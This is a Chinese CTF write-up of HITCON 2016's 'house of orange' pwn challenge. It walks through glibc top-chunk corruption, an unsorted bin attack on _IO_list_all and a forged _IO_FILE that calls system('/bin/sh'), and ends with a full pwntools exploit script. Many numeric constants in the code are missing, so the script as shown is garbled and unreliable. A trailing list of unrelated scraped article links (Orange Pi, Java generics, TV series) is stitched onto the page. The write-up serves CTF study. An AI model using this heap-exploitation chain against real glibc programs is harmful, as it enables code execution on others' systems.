题目附件:https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500

查看程序保护:

发现保护全开,再查看IDA反编译出来的代码,在upgrade()函数中发现明显的堆溢出漏洞:

这题的难点没有free函数,但是对溢出没有限制,且malloc的size我们可以自己控制,所以可以载top_chunk上做文章。

利用思路:

  • 修改top_chunk的size小于要分配的size,这样old_top会被放入unsorted_bin中
  • malloc一个largebin大小的chunk,此chunk会从已放入unsorted_bin中的old_top切割出来,并在chunk中写入该chunk的地址,并泄漏chunk地址和libc的地址
  • 修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell

完整的exp我会放在最后,现在我们分步来看利用过程。

第一步:修改top_chunk的size,并将其放入unsorted bin中。

在ptmalloc的堆管理机制中,首先会取各个bin中找对应大小的chunk,如果找不到,才会去从top_chunk中分割。如果top_chunk的大小也不够,此时有两个选择:

  • 如果利用申请的chunk大小小于128KB,利用brk扩展top_chunk
  • 申请的chunk大小大于128KB,利用mmap分配堆

为了完成利用,我们需要控制分配的chunk大小小于128KB,也就是利用第一种方式分配chunk。来看看sysmalloc的部分源码:

  /* Record incoming configuration of top */

      old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size)); brk = snd_brk = (char *) (MORECORE_FAILURE); /*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/ //前半部分是针对第一次调用此函数,top_chunk没有初始化的情况
assert ((old_top == initial_top (av) && old_size == ) ||
((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - )) == )); //检查top_chunk结束的的地址是否页对齐 /* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

我们可以发现伪造的top_chunk的size要满足一下条件:

  • size要大于MINSIZE(这个我不清楚具体的数值,但是只要不是太小都可以)
  • size的inuse位要为1
  • old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐
  • size要小于你要申请的chunk的大小

部分利用代码如下:

Build(0x80, 'simple', 0x1234, 0xddaa)
payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64() + p64() + p64(0xf30) #伪造的的top_chunk的size为0xf30
Upgrade(len(payload), payload, 0x1234, 0xddaa)

第二步:申请largebin大小的chunk触发_int_free把old_top放入unsorted bin中

部分源码:

                    if (old_size != )
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
old_size = (old_size - * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head (old_top, old_size | PREV_INUSE); /*
Note that the following assignments completely overwrite
old_top when old_size was previously MINSIZE. This is
intentional. We need the fencepost, even if old_top otherwise gets
lost.
*/
chunk_at_offset (old_top, old_size)->size = ( * SIZE_SZ) | PREV_INUSE; chunk_at_offset (old_top, old_size + * SIZE_SZ)->size = ( * SIZE_SZ) | PREV_INUSE; /* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, );
}
}

可以看出最后会调用_int_free把old_top放入unsorted bin中

部分利用脚本:

Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
gdb.attach(p)
See()
p.recvuntil('Name of house : AAAAAAAA')
libc_base = u64(p.recv().ljust(, '\x00')) - 0x3c5188
info("libc_base ==> " + hex(libc_base)) payload = 'A'*
Upgrade(len(payload), payload, 0x1234, 0xddaa)
See()
p.recvuntil('A'*)
chunk_addr = u64(p.recv().ljust(, '\x00'))
info("chunk_addr ==> " + hex(chunk_addr))

第三步:修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell

这一部分要用到文件IO的知识。主要函数调用过程为:malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow

先利用unsored bin attack修改__IO_list_all中的值为main_arena + 88,在修改fd时同时修改unosrted bin chunk的大小为0x60。之所以是0x60,是为了让chunk的地址刚好落在chain的位置上。

在malloc时unsorted chunk会被放入small bin中。来看看_IO_flush_all_lockp的部分源码:

          if (((fp->_mode <=  && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) ==
&& fp->_mode > && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //要想执行_IO_OVERFLOW必须满足逻辑与符号前面的条件为真

绕过检查,上述条件,最终exp如下:

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./houseoforange')
elf = ELF('houseoforange')
libc = elf.libc def Build(length, name, price, color):
p.sendlineafter('Your choice : ', '')
p.sendlineafter('Length of name :', str(length))
p.sendafter('Name :', name)
p.sendlineafter('Price of Orange:', str(price))
p.sendlineafter('Color of Orange:', str(color)) def See():
p.sendlineafter('Your choice : ', '') def Upgrade(length, name, price, color):
p.sendlineafter('Your choice : ', '')
p.sendlineafter('Length of name :', str(length))
p.sendafter('Name:', name)
p.sendlineafter('Price of Orange: ', str(price))
p.sendlineafter('Color of Orange: ', str(color)) Build(0x80, 'simple', 0x1234, 0xddaa)
payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64() + p64() + p64(0xf30) #伪造的的top_chunk的size为0xf30
Upgrade(len(payload), payload, 0x1234, 0xddaa)
Build(0x1000, 'AAAAAAAA', 0x1234, 0xddaa)
Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
gdb.attach(p)
See()
p.recvuntil('Name of house : AAAAAAAA')
libc_base = u64(p.recv().ljust(, '\x00')) - 0x3c5188
info("libc_base ==> " + hex(libc_base)) payload = 'A'*
Upgrade(len(payload), payload, 0x1234, 0xddaa)
See()
p.recvuntil('A'*)
chunk_addr = u64(p.recv().ljust(, '\x00'))
info("chunk_addr ==> " + hex(chunk_addr)) _IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
info('-------------------------unsorted bin and build fake file-----------------') vtable = chunk_addr + 0x510
payload = '\x00'*0x400 + p64() + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64()
payload += '/bin/sh\x00' + p64(0x60) + p64() + p64(_IO_list_all-0x10) + '\x00'* + p64() + '\x00'*0xa8 + p64(vtable)
payload += '\x00'*0x18 + p64(system)
Upgrade(len(payload), payload, 0x1234, 0xddaa) p.sendlineafter('Your choice : ', '') p.interactive()

House of Orange的更多相关文章

  1. 利用Python【Orange】结合DNA序列进行人种预测

    http://blog.csdn.net/jj12345jj198999/article/details/8951120 coursera上 web intelligence and big data ...

  2. orange pi pc 体验(一)

    最近在淘宝上看到一款和树莓派差不多的卡片机,定价才99元,而且是国产的,忍不住入手了一个,就是orange pi 感兴趣的可以百度搜索下,深圳一个公司出的,不过资料比树莓派少了很多,论坛中人也没多少, ...

  3. 《Orange'S:一个操作系统的实现》笔记(一)

    感觉自己对于操作系统始终没有一个清楚的概念,尤其最近困扰于实模式.保护模式以及寻址方式等一些概念.转而一想,所有的程序,最终都是操作的计算机资源,需要和操作系统打交道,所以操作系统有必要深入了解一下. ...

  4. python数据挖掘orange

    http://blog.csdn.net/pipisorry/article/details/52845804 orange的安装 linux下的安装 先安装依赖pyqt4[PyQt教程 - pyth ...

  5. Orange Greenworks

    对于steam游戏开发,成就功能是必不可少的. 而Rpgmaker系列无自带的插件或指令实现,且多数游戏作者并无熟练的脚本编写能力,所以~~ 我们要使用外部插件----Orange  Work. 这里 ...

  6. Orange——开源机器学习交互式数据分析工具

    Orange为新手和专家提供开源机器学习和数据可视化.使用大型工具箱交互式数据分析工作流程. 交互式数据可视化 Orange的全部内容都是关于数据可视化,帮助发现隐藏的数据模式,提供数据分析过程背后的 ...

  7. Orange Pi 3 GPIO 笔记

    这是我写过的最水的文章 设备:Orange pi H6,Pi 3 引脚图: (使用Wiringpi 查看GPIO) +------+-----+----------+------+---+Orange ...

  8. 女子监狱第四季/全集Orange Is the New Black迅雷下载

    女子监狱 第三季 Orange Is the New Black 3 (2015) 本季看点:该剧由<吉尔莫女孩>.<单身毒妈第一季>编剧杰姬·科恩的打造.由<护士当家& ...

  9. 女子监狱第一季/全集Orange Is the New Black迅雷下载

    本季第一季 Orange Is the New Black 1 (2013) 看点:该剧描述主人公Piper Chapman(Taylor Schilling)在大学里结识了毒贩Alex(Laura ...

  10. java 泛型没有协变类型, 所以要重用extends, 但使用List<? extends Fruit> 可以是ArrayList<Fruit>()、ArrayList<Apple>()、ArrayList<Orange>(), 因此不能add元素进去

    class Fruit{} class Apple extends Fruit{} class SubApple extends Apple{} class Orange extends Fruit{ ...

随机推荐

  1. BN系列-未完待续

    BN.LN.IN.GN Cross-Iteration Batch Normalization 因为有时候我们的计算能力有限,所以BN设置的比较小,这样BN效果就比较差. 因此我们将最近几次的batc ...

  2. springboot中redis的缓存穿透问题

    什么是缓存穿透问题?? 我们使用redis是为了减少数据库的压力,让尽量多的请求去承压能力比较大的redis,而不是数据库.但是高并发条件下,可能会在redis还没有缓存的时候,大量的请求同时进入,导 ...

  3. C#LeetCode刷题之#14-最长公共前缀​​​​​​​(Longest Common Prefix)

    问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/3921 访问. 编写一个函数来查找字符串数组中的最长公共前缀. 如 ...

  4. 45道Promise面试题

    来看看通过阅读本篇文章要点: Promise的几道基础题 Promise结合setTimeout Promise中的then.catch.finally Promise中的all和race async ...

  5. node mssql 无法连接sql server

    mssql无法连接sql server主要有两种原因: Sql server使用的是Windows身份验证 Sql server并没有打开网络连接功能 1.打开Sql Server身份验证 参考这篇文 ...

  6. Mybatis中<![cdata[ ]]>

    1.<![cdata[ ]]>介绍 <![cdata[ 内容 ]]>是一种xml语法,在CDATA标记中的信息被解析器原封不动地传给应用程序,并且不解析该段信息中的任何控制标记 ...

  7. JDK1.8源码学习-ArrayList

    JDK1.8源码学习-ArrayList 目录 一.ArrayList简介 为了弥补普通数组无法自动扩容的不足,Java提供了集合类,其中ArrayList对数组进行了封装,使其可以自动的扩容或缩小长 ...

  8. Java泛型详解,通俗易懂只需5分钟

    转载出处:http://www.weixueyuan.net/view/6321.html 我们知道,使用变量之前要定义,定义一个变量时必须要指明它的数据类型,什么样的数据类型赋给什么样的值. 假如我 ...

  9. Swing记事本项目

    具备记事本功能:文件保存.文件打开.复制.黏贴.撤销.全选.字体修改.字体颜色修改.背景颜色修改

  10. Java多线程_Future设计模式

    Future模式的核心:去除了主函数的等待时间,并使得原本需要等待的时间段可以用于处理其他业务逻辑.    Future模式有点类似于商品订单.在网上购物时,提交订单后,在收货的这段时间里无需一直在家 ...